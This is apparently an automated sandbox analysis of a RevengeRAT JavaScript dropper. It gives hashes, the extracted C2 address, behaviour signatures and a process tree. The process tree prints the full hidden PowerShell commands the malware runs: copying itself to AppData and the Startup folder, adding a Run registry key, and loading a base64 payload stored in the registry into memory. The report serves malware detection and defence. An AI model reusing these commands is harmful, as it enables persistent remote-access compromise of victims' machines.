Analysis

  • max time kernel
    120s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    15-10-2024 15:33

General

  • Target

    1Documentosdereserva.js

  • Size

    60KB

  • MD5

    14e68a45361bb287393747ce2b271838

  • SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

  • SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

  • SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • SSDEEP

    768:tvRmozOfNAG9lUAy1NgRXbkDvAAdkqC9m3ppOJlPcLNdpgF3hFAto:94oifpTq1NxAAiqC9mZpk8NdpW3hF2o

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1Documentosdereserva.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\1Documentosdereserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\1Documentosdereserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1448
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js' -PropertyType String -Force;"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2824
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\1Documentosdereserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js'))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2816

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js

    Filesize

    60KB

    MD5

    14e68a45361bb287393747ce2b271838

    SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

    SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

    SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    ea63a70aea393bb4f14a3f1d73b455be

    SHA1

    54c704a2aede5138759a357f76941f59a42cfc20

    SHA256

    d3799f00903e3bd827a2e89c0d0659ac3c7632fdd550036ab5f0b88b712862af

    SHA512

    847c999b637c5486319347aa1a635f49579dd54e58fb429ff268fdd871ba60f835bbff63c446ead53f8027434a7b105ffaab257a76866fd8489b95c2c38ca4ff

  • memory/1448-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

    Filesize

    2.9MB

  • memory/1448-4-0x000007FEF5ABE000-0x000007FEF5ABF000-memory.dmp

    Filesize

    4KB

  • memory/1448-8-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

    Filesize

    9.6MB

  • memory/1448-9-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

    Filesize

    9.6MB

  • memory/1448-10-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

    Filesize

    9.6MB

  • memory/1448-12-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

    Filesize

    9.6MB

  • memory/1448-6-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

    Filesize

    32KB

  • memory/1448-7-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

    Filesize

    9.6MB

  • memory/1448-31-0x000007FEF5ABE000-0x000007FEF5ABF000-memory.dmp

    Filesize

    4KB

  • memory/1448-32-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

    Filesize

    9.6MB

  • memory/2816-29-0x0000000002AF0000-0x0000000002AFA000-memory.dmp

    Filesize

    40KB